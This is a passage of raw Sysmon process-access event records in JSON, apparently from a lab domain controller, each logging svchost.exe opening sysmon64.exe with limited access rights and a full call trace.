11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1177,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1178,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1179,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1180,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1181,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1182,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1183,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1184,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 